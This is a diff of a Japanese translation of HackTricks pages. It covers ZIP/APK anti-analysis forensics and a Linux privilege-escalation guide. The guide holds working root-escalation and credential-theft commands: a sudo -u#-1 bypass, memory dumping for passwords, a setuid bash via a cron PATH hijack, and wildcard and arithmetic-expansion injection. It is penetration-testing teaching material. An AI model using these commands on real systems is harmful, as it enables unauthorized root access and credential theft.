diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index 4b5d247e7..5252bf09d 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -1,30 +1,30 @@ -# ZIPs tricks +# ZIPのトリック {{#include ../../../banners/hacktricks-training.md}} -**コマンドラインツール**は **zip files** の診断、修復、クラッキングに不可欠です。ここでは主要なユーティリティを示します: +**コマンドラインツール**は**zipファイル**の診断、修復、パスワードクラッキングに不可欠です。主要なユーティリティは以下の通りです: -- **`unzip`**: zip file が解凍されない理由を表示します。 -- **`zipdetails -v`**: zip file format fields を詳細に解析します。 -- **`zipinfo`**: 抽出せずに zip file の内容を一覧表示します。 -- **`zip -F input.zip --out output.zip`** と **`zip -FF input.zip --out output.zip`**: 破損した zip files の修復を試みます。 -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: zip passwords のブルートフォース用ツール。おおよそ7文字までのパスワードに有効です。 +- **`unzip`**: zipファイルが展開できない理由を明らかにします。 +- **`zipdetails -v`**: zipフォーマットのフィールドを詳細に解析します。 +- **`zipinfo`**: 抽出せずにzipファイルの内容を一覧表示します。 +- **`zip -F input.zip --out output.zip`** および **`zip -FF input.zip --out output.zip`**: 破損したzipファイルの修復を試みます。 +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: zipパスワードをブルートフォースで破るツール。およそ7文字までのパスワードに有効です。 -[Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) は zip files の構造と規格を包括的に説明しています。 +[Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) は、zipファイルの構造と標準に関する包括的な情報を提供します。 -重要なのは、パスワード保護された zip files はファイル名やファイルサイズを暗号化しないことです。これは、これらの情報を暗号化する RAR や 7z とは異なるセキュリティ上の欠陥です。さらに、古い ZipCrypto メソッドで暗号化された zip files は、圧縮済みファイルの未暗号化コピーが利用可能な場合に plaintext attack に対して脆弱です。この攻撃は既知の内容を利用して zip のパスワードを破るもので、詳細は [HackThis の記事](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) や [この学術論文](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) を参照してください。ただし、**AES-256** で保護された zip files はこの plaintext attack に対して耐性があり、機密データには安全な暗号方式を選ぶ重要性を示しています。 +重要な点として、パスワード保護されたzipファイルは内部のファイル名やファイルサイズを**暗号化しない**ため、これはRARや7zが持つようなファイル名/サイズの暗号化を伴わないセキュリティ上の欠陥です。さらに、古いZipCrypto方式で暗号化されたzipは、圧縮ファイルの非暗号化コピーが利用可能な場合に**plaintext attack**(既知平文攻撃)に対して脆弱です。この攻撃は既知のコンテンツを利用してzipのパスワードを割るもので、詳細は[HackThisの記事](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files)や[この学術論文](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf)で説明されています。しかし、**AES-256**で保護されたzipファイルはこの既知平文攻撃に対して免疫があるため、機密データには安全な暗号化方式を選ぶことが重要です。 --- -## 改変された ZIP ヘッダを利用した APK の逆解析防止トリック +## 改ざんされたZIPヘッダを使ったAPKの逆解析防止トリック -Modern Android malware droppers は不正な ZIP メタデータを使って静的解析ツール(jadx/apktool/unzip など)を壊しつつ、デバイス上では APK をインストール可能にします。よく使われるトリックは次の通りです: +現代のAndroidマルウェアドロッパーは、APKを端末上でインストール可能なままにしつつ、壊れたZIPメタデータを使って静的ツール(jadx/apktool/unzip)を破壊します。最も一般的なトリックは次の通りです: -- ZIP General Purpose Bit Flag (GPBF) の bit 0 を立てて偽の暗号化を示す -- 大きな/カスタムの Extra fields を悪用してパーサを混乱させる -- ファイル/ディレクトリ名の衝突で実際のアーティファクトを隠す(例: 実際の `classes.dex` の横に `classes.dex/` というディレクトリを置く) +- ZIP General Purpose Bit Flag (GPBF) のビット0を立てて偽の暗号化を示す +- パーサを混乱させるために大きな/カスタムのExtraフィールドを悪用する +- 実際のアーティファクトを隠すためのファイル/ディレクトリ名の衝突(例: 実際の `classes.dex` の横に `classes.dex/` というディレクトリを置く) -### 1) Fake encryption (GPBF bit 0 set) without real crypto +### 1) 実際の暗号化なしの偽の暗号化(GPBF ビット0がセットされている) 症状: - `jadx-gui` が次のようなエラーで失敗する: @@ -32,7 +32,7 @@ Modern Android malware droppers は不正な ZIP メタデータを使って静 ``` java.util.zip.ZipException: invalid CEN header (encrypted entry) ``` -- `unzip` が core APK ファイルに対してパスワードを要求する(ただし有効な APK は `classes*.dex`、`resources.arsc`、`AndroidManifest.xml` が暗号化されることはありえません): +- `unzip` はコアAPKファイルに対してパスワードを求めますが、有効なAPKでは `classes*.dex`、`resources.arsc`、または `AndroidManifest.xml` が暗号化されることはありえません: ```bash unzip sample.apk @@ -43,11 +43,11 @@ skipping: resources.arsc/res/domeo/eqmvo.xml incorrect password skipping: classes2.dex incorrect password ``` -zipdetails による検出: +zipdetailsでの検出: ```bash zipdetails -v sample.apk | less ``` -local and central headers の General Purpose Bit Flag を見てください。特徴的な値は bit 0 がセットされていること(Encryption)で、core entries に対しても当てはまります: +local および central headers の General Purpose Bit Flag を見てください。特徴的なのは、core エントリでさえ bit 0(Encryption)がセットされている値です: ``` Extract Zip Spec 2D '4.5' General Purpose Flag 0A09 @@ -56,9 +56,9 @@ General Purpose Flag 0A09 [Bit 3] 1 'Streamed' [Bit 11] 1 'Language Encoding' ``` -ヒューリスティック: APKがデバイスにインストールされ実行されるが、ツールから見るとコアエントリが "encrypted" のように見える場合、GPBFが改ざんされている。 +ヒューリスティック: APKがデバイス上でインストールおよび実行されるが、ツールに主要なエントリが「encrypted」と表示される場合、GPBFが改ざんされています。 -Local File Headers (LFH) と Central Directory (CD) の両方のエントリで GPBF のビット0をクリアして修正する。最小限の byte-patcher: +Local File Headers (LFH) と Central Directory (CD) の両方のエントリで GPBF の bit 0 をクリアすることで修正します。最小バイトパッチャー: ```python # gpbf_clear.py – clear encryption bit (bit 0) in ZIP local+central headers import struct, sys @@ -89,28 +89,28 @@ data, p_cdh = patch_flags(data, SIG_CDH, 8) # CDH flag at +8 open(outp, 'wb').write(data) print(f'Patched: LFH={p_lfh}, CDH={p_cdh}') ``` -使用法: +使い方: ```bash python3 gpbf_clear.py obfuscated.apk normalized.apk zipdetails -v normalized.apk | grep -A2 "General Purpose Flag" ``` -コアエントリで `General Purpose Flag 0000` が表示され、ツールは再度 APK を解析します。 +これでコアエントリに `General Purpose Flag 0000` が表示され、ツールは再び APK を解析します。 -### 2) パーサを壊す大容量/カスタムのExtraフィールド +### 2) パーサを壊す大きな/カスタム Extra フィールド -攻撃者はデコンパイラを混乱させるため、ヘッダに大きすぎるExtraフィールドや奇妙なIDを詰め込みます。実際には、そこにカスタムマーカー(例: `JADXBLOCK` のような文字列)が埋め込まれていることがあります。 +攻撃者はヘッダに巨大な Extra フィールドや奇妙な ID を詰め込み、デコンパイラを誤作動させます。実際のサンプルでは、そこにカスタムマーカー(例: `JADXBLOCK` のような文字列)が埋め込まれていることがあります。 -解析: +検査: ```bash zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50 ``` -観察例: unknown IDs like `0xCAFE` ("Java Executable") or `0x414A` ("JA:") carrying large payloads。 +Examples observed: unknown IDs like `0xCAFE` ("Java Executable") or `0x414A` ("JA:") carrying large payloads. DFIR heuristics: -- コアエントリ(`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`)の Extra fields が異常に大きい場合にアラートを上げる。 -- それらのエントリにある不明な Extra ID を疑わしいものとして扱う。 +- core エントリ(`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`)で Extra フィールドが異常に大きい場合にアラートを出す。 +- それらのエントリで不明な Extra ID は疑わしいものとして扱う。 -Practical mitigation: アーカイブを再構築する(例: 抽出したファイルを再圧縮する)ことで悪意のある Extra fields を削除できる。ツールが偽の暗号化のため抽出を拒否する場合は、上記のようにまず GPBF bit 0 をクリアし、再パッケージする: +Practical mitigation: rebuilding the archive (e.g., re-zipping extracted files) strips malicious Extra fields. If tools refuse to extract due to fake encryption, first clear GPBF bit 0 as above, then repackage: ```bash mkdir /tmp/apk unzip -qq normalized.apk -d /tmp/apk @@ -118,7 +118,7 @@ unzip -qq normalized.apk -d /tmp/apk ``` ### 3) ファイル/ディレクトリ名の衝突(実ファイルを隠す) -ZIPはファイル `X` とディレクトリ `X/` の両方を含めることがあります。いくつかの抽出ツールやデコンパイラは混乱して、ディレクトリエントリで実ファイルを上書きまたは隠してしまうことがあります。これは `classes.dex` のようなコアAPK名とエントリが衝突するケースで観測されています。 +ZIPはファイル`X`とディレクトリ`X/`の両方を含めることができます。一部の抽出ツールやデコンパイラは混乱し、ディレクトリエントリで実際のファイルを上書きしたり隠してしまうことがあります。これは`classes.dex`のようなコアAPK名とエントリが衝突するケースで観測されています。 トリアージと安全な抽出: ```bash @@ -148,10 +148,10 @@ for base, variants in collisions.items(): if len(variants) > 1: print('COLLISION', base, '->', variants) ``` -Blue-team detection ideas: -- ローカルヘッダが暗号化を示している(GPBF bit 0 = 1)にもかかわらずインストール/実行されるAPKをフラグを立てる。 -- コアエントリ上の大きい/不明な Extra fields をフラグする(`JADXBLOCK` のようなマーカーを探す)。 -- `AndroidManifest.xml`、`resources.arsc`、`classes*.dex` に関して、`X` と `X/` のようなパス衝突を特にフラグする。 +Blue-team の検出アイデア: +- APK のローカルヘッダで暗号化が示されている (GPBF bit 0 = 1) のにインストール/実行されているものを検出する。 +- コアエントリの大きな/不明な Extra フィールドを検出する(`JADXBLOCK` のようなマーカーを探す)。 +- パス衝突(`X` と `X/`)を、特に `AndroidManifest.xml`, `resources.arsc`, `classes*.dex` に対して検出する。 --- diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 181a924a6..5e6f72547 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### OS 情報 -実行中の OS に関する情報収集を始めましょう +実行中の OS についての情報収集を始めましょう ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -もし **`PATH` 変数内の任意のフォルダに書き込み権限がある場合**、いくつかのライブラリやバイナリをハイジャックできる可能性があります: +もし **have write permissions on any folder inside the `PATH`** であれば、いくつかの libraries や binaries を hijack できる可能性があります: ```bash echo $PATH ``` ### 環境情報 -環境変数に興味深い情報、パスワードやAPIキーはありませんか? +環境変数に興味深い情報、パスワードやAPIキーはありますか? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -kernel version を確認して、escalate privileges に使える exploit があるか調べる +カーネルのバージョンを確認し、escalate privileges に利用できる exploit がないか確認する ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -脆弱なカーネルの良い一覧と、既に**compiled exploits**がいくつか次で見つけられます: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) と [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -その他**compiled exploits**を見つけられるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +良い脆弱なカーネルの一覧といくつかの既に **compiled exploits** はここで見つけられます: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +他にも **compiled exploits** が見つかるサイト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -そのウェブサイトから脆弱なカーネルのバージョンをすべて抽出するには、次のようにします: +そのサイトからすべての脆弱なカーネルバージョンを抽出するには、次のようにします: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -kernel exploits を検索するのに役立つツールは: +カーネルのエクスプロイトを探すのに役立つツール: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (被害者上で実行、カーネル2.x向けのエクスプロイトのみチェックする) -必ず **search the kernel version in Google**。場合によっては、あなたの kernel version が既知の kernel exploit に記載されており、その exploit が有効であることを確認できます。 +常に**Googleでカーネルバージョンを検索**してください。お使いのカーネルバージョンが既知のエクスプロイトに記載されていることがあり、その場合はそのエクスプロイトが有効であることを確認できます。 ### CVE-2016-5195 (DirtyCow) @@ -57,9 +57,9 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo のバージョン +### Sudo バージョン -以下に示されている脆弱な sudo バージョンに基づいて: +以下に示される脆弱な sudo バージョンに基づく: ```bash searchsploit sudo ``` @@ -69,24 +69,24 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` #### sudo < v1.28 -出典: @sickrov +提供: @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg シグネチャ検証に失敗しました +### Dmesg 署名検証に失敗しました -この vuln がどのように悪用されるかの **例** は、**smasher2 box of HTB** を参照してください。 +このvulnがどのように悪用されるかの**例**については、**smasher2 box of HTB**を確認してください。 ```bash dmesg 2>/dev/null | grep "signature" ``` -### さらにシステムの列挙 +### さらなるシステム列挙 ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 考えられる防御策を列挙 +## 考えられる防御を列挙する ### AppArmor ```bash @@ -123,7 +123,8 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -docker container の中にいる場合、そこから脱出を試みることができます: +もし docker container の中にいるなら、そこから脱出を試みることができます: + {{#ref}} docker-security/ @@ -131,56 +132,67 @@ docker-security/ ## ドライブ -どこで、なぜ **what is mounted and unmounted** かを確認してください。もし何かが unmounted であれば、それを mount して機密情報がないか確認してみてください。 +**何がマウントされ、何がアンマウントされているか**、どこでなぜを確認してください。もし何かがアンマウントされているなら、それをマウントして機密情報を確認してみてください。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## 有用なソフトウェア +## 便利なソフトウェア 有用なバイナリを列挙する ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -また、**any compiler is installed**かどうか確認してください。これは、何らかの kernel exploit を使う必要がある場合に役立ちます。なぜなら、それを使用するマシン(または同等のマシン)上で compile することが推奨されるからです。 +また、**コンパイラがインストールされているか**確認してください。これは、kernel exploit を使用する必要がある場合に役立ちます。使用するマシン(またはそれに類するマシン)でコンパイルすることが推奨されるためです。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### 脆弱なソフトウェアがインストールされている +### 脆弱なソフトウェアのインストール状況 -インストールされているパッケージやサービスの**バージョン**を確認してください。もしかすると、古いNagiosのバージョン(例えば)が存在し、それが could be exploited for escalating privileges…\ +インストールされているパッケージやサービスの**バージョン**を確認してください。例えば古い Nagios のバージョンが存在し、privilege escalation に悪用される可能性があります…\ より疑わしいインストール済みソフトウェアのバージョンは手動で確認することを推奨します。 ```bash dpkg -l #Debian rpm -qa #Centos ``` -マシンにSSHアクセスがある場合、内部にインストールされている古いまたは脆弱なソフトウェアをチェックするために **openVAS** を使用することもできます。 +マシンにSSHでアクセスできる場合、**openVAS**を使ってマシン内にインストールされている古い、または脆弱なソフトウェアをチェックできます。 -> [!NOTE] > _これらのコマンドは大量の情報を表示し、そのほとんどは無駄になる可能性があるため、OpenVAS のようなアプリケーション(または同等のもの)を使用して、インストールされているソフトウェアのバージョンが既知の exploits に対して脆弱かどうかを確認することを推奨します_ +> [!NOTE] > _これらのコマンドは大量の情報を出力し、その多くはほとんど役に立たない点に注意してください。したがって、OpenVASなどのアプリケーションで、インストールされているソフトウェアのバージョンが既知のexploitsに対して脆弱かどうかを確認することを推奨します_ ## プロセス -実行中の**どのプロセス**を確認し、プロセスが本来持つべきでないほど**多くの権限**を持っていないか確認してください(例えば tomcat が root によって実行されているなど) +実行されている**どのプロセス**を確認し、どのプロセスが**本来あるべき以上の特権**を持っていないかをチェックしてください(例えば tomcat が root で実行されているかもしれません) ```bash ps aux ps -ef top -n 1 ``` Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +常に [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md) を確認してください。**Linpeas** はプロセスのコマンドライン内の `--inspect` パラメータを確認してそれらを検出します。\ +また、**check your privileges over the processes binaries** を確認してください。誰かのバイナリを上書きできるかもしれません。 ### Process monitoring You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +### プロセス監視 + +pspy のようなツール([**pspy**](https://github.com/DominicBreuker/pspy))を使ってプロセスを監視できます。これは、脆弱なプロセスが頻繁に実行されている場合や特定の条件が満たされたときにそれらを特定するのに非常に有用です。 + ### Process memory Some services of a server save **credentials in clear text inside the memory**.\ Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ However, remember that **as a regular user you can read the memory of the processes you own**. +### プロセスのメモリ + +サーバ上の一部のサービスは **credentials in clear text inside the memory** を保存します。\ +通常、他ユーザーに属するプロセスのメモリを読むには **root privileges** が必要なため、これは通常すでに root でさらに資格情報を見つけたい場合に有用です。\ +ただし、**as a regular user you can read the memory of the processes you own** ことを忘れないでください。 + > [!WARNING] > Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > @@ -191,9 +203,23 @@ However, remember that **as a regular user you can read the memory of the proces > - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. > - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> [!WARNING] +> 現在ほとんどのマシンは **don't allow ptrace by default** ため、非特権ユーザーに属する他のプロセスをダンプできないことに注意してください。 +> +> _**/proc/sys/kernel/yama/ptrace_scope**_ ファイルが ptrace のアクセス制御を行います: +> +> - **kernel.yama.ptrace_scope = 0**: 同じ uid を持つ限り、すべてのプロセスをデバッグできます。これは ptracing の従来の動作方法です。 +> - **kernel.yama.ptrace_scope = 1**: 親プロセスのみがデバッグ可能です。 +> - **kernel.yama.ptrace_scope = 2**: 管理者のみが ptrace を使用できます。CAP_SYS_PTRACE 権限が必要です。 +> - **kernel.yama.ptrace_scope = 3**: ptrace によるトレースはできません。一度設定すると、ptracing を有効にするには再起動が必要です。 + #### GDB If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. + +#### GDB + +例えば FTP サービスのメモリにアクセスできる場合、Heap を取得してその中の credentials を検索できます。 ```bash gdb -p (gdb) info proc mappings @@ -215,10 +241,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -指定したプロセスIDに対して、**maps はそのプロセスの仮想アドレス空間内でメモリがどのようにマップされているかを示し**、また各マップ領域の**アクセス許可**も表示します。 -**mem** 疑似ファイルは**プロセスのメモリそのものを公開します**。 -**maps** ファイルから、どの**メモリ領域が読み取り可能か**とそのオフセットがわかります。 -この情報を使って、**mem ファイル内をシークして読み取り可能な全ての領域をダンプ**し、ファイルに保存します。 +指定したプロセスIDに対して、**maps はそのプロセスの仮想アドレス空間内でメモリがどのようにマップされているかを示し**、各マッピング領域の**アクセス権(permissions)も表示します**。**mem** 擬似ファイルは**プロセスのメモリそのものにアクセスできるようにします**。**maps** ファイルから、どの **メモリ領域が読み取り可能か** とそれらのオフセットを把握できます。この情報を使って、**mem ファイルの該当位置にシークして、読み取り可能な領域をすべてファイルにダンプします**。 ```bash procdump() ( @@ -233,14 +256,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` はシステムの **物理** メモリにアクセスするためのデバイスであり、仮想メモリへはアクセスしません。カーネルの仮想アドレス空間には /dev/kmem を使ってアクセスできます。\ -通常、`/dev/mem` は **root** と **kmem** グループのみが読み取り可能です。 +`/dev/mem` はシステムの **物理** メモリにアクセスするためのデバイスで、仮想メモリにはアクセスしません。カーネルの仮想アドレス空間には /dev/kmem を使用してアクセスできます.\\ +通常、`/dev/mem` は **root** と kmem グループのみが読み取り可能です。 ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump の linux向け -ProcDumpは、Windows向けのSysinternalsスイートにある古典的なProcDumpツールをLinux向けに再構想したものです。入手先: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDumpは、Windows向けのSysinternalsスイートにある古典的なProcDumpツールをLinux向けに再構想したものです。入手は [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -269,38 +292,38 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### ツール -プロセスのメモリをダンプするには、次のツールが使えます: +プロセスのメモリをdumpするには、次を使用できます: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_手動でrootの要件を取り除き、自分が所有するプロセスをダンプできます -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root が必要です) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_root 要件を手動で削除して、あなたが所有するプロセスをdumpできます +- Script A.5 は [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) から (root が必要) -### プロセスのメモリからの資格情報 +### Process Memory からの資格情報 #### 手動の例 -authenticator プロセスが実行中であることが分かったら: +authenticator process が実行されていることを確認した場合: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -プロセスをdumpして(前のセクションを参照して、プロセスのmemoryをdumpするさまざまな方法を確認してください)memory内でcredentialsを検索できます: +プロセスをダンプして(前のセクションを参照して、プロセスのメモリをダンプするさまざまな方法を確認してください)メモリ内のcredentialsを検索できます: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は、**メモリから平文の認証情報を取得**し、いくつかの**よく知られたファイル**からも取得します。正常に動作させるにはroot権限が必要です。 +ツール [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は、**steal clear text credentials from memory** およびいくつかの **well known files** から情報を盗みます。正常に動作させるには root 権限が必要です。 -| 機能 | プロセス名 | +| 機能 | プロセス名 | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| GDM パスワード (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (アクティブな FTP 接続) | vsftpd | +| Apache2 (アクティブな HTTP Basic Auth セッション) | apache2 | +| OpenSSH (アクティブな SSH セッション - sudo 使用) | sshd: | #### 検索用正規表現/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -318,34 +341,34 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## スケジュールされた/Cron ジョブ -スケジュールされたジョブに脆弱性がないか確認する。rootによって実行されるスクリプトを利用できるかもしれない(wildcard vuln? rootが使うファイルを変更できるか? symlinksを使う? rootが使うディレクトリに特定のファイルを作成する?)。 +スケジュールされたジョブに脆弱性がないか確認する。root によって実行されるスクリプトを悪用できるかもしれない(wildcard vuln? root が使用するファイルを変更できるか? symlinks を使う? root が使用するディレクトリに特定のファイルを作成できるか?)。 ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron パス +### Cron path -例えば、_/etc/crontab_ の中で次のような PATH を見つけることができます: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例えば、_/etc/crontab_ の中に PATH が見つかります: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(注意: ユーザー "user" が /home/user に書き込み権限を持っている点に注目) +(_ユーザー "user" が /home/user に書き込み権限を持っている点に注意_) -もしこの crontab の中で root ユーザーが PATH を設定せずにコマンドやスクリプトを実行しようとすると。例えば: _\* \* \* \* root overwrite.sh_\ -すると、次のようにして root シェルを取得できます: +この crontab 内で root ユーザーが PATH を設定せずにコマンドやスクリプトを実行しようとした場合。例えば: _\* \* \* \* root overwrite.sh_\ +その場合、次のようにして root シェルを取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron がワイルドカードを含むスクリプトを実行する場合 (Wildcard Injection) -スクリプトが root によって実行され、コマンド内に “**\***” が含まれている場合、これを利用して予期しない動作(例えば privesc)を引き起こすことができます。例: +スクリプトが root によって実行され、コマンド内に “**\***” が含まれている場合、予期しない動作(privesc のような)を引き起こすためにこれを悪用できる可能性があります。例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**ワイルドカードが次のようなパスの前にある場合** _**/some/path/\***_ **、脆弱ではありません(_**./\***_ も同様です)。** +**ワイルドカードが次のようなパスに続く場合** _**/some/path/\***_ **、脆弱ではありません(** _**./\***_ **も同様です)。** -次のページを参照すると、ワイルドカードの悪用トリックについてさらに学べます: +Read the following page for more wildcard exploitation tricks: {{#ref}} @@ -353,11 +376,11 @@ wildcards-spare-tricks.md {{#endref}} -### Bash の cron ログパーサにおける算術展開注入 +### Bash arithmetic expansion injection in cron log parsers -Bash は ((...))、$((...)) および let の中で算術評価を行う前に parameter expansion と command substitution を実行します。もし root が実行する cron/パーサが信頼できないログフィールドを読み取り、それを算術コンテキストに渡すと、攻撃者はコマンド置換 $(...) を注入でき、cron 実行時に root としてコマンドが実行されます。 +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. -- なぜ動くか: Bash では展開は次の順序で行われます: パラメータ/変数展開、コマンド置換、算術展開、その後に単語分割とパス名展開。したがって `$(/bin/bash -c 'id > /tmp/pwn')0` のような値はまず置換(コマンド実行)され、残った数値の `0` が算術に使われるためスクリプトはエラーなく続行します。 +- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. - 典型的な脆弱パターン: ```bash @@ -369,7 +392,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- 悪用: パースされるログに攻撃者制御のテキストを書き込み、数値に見えるフィールドがコマンド置換を含み末尾が数字になるようにします。コマンドが stdout に出力しない(またはリダイレクトする)ようにして、算術評価が有効なままであることを確認してください。 +- Exploitation: パースされるログに攻撃者が制御するテキストを書き込み、数値に見えるフィールドに command substitution を含め末尾が数字になるようにします。算術が有効であるように、コマンドが stdout に出力しない(または出力をリダイレクトする)ようにしてください。 ```bash # Injected field value inside the 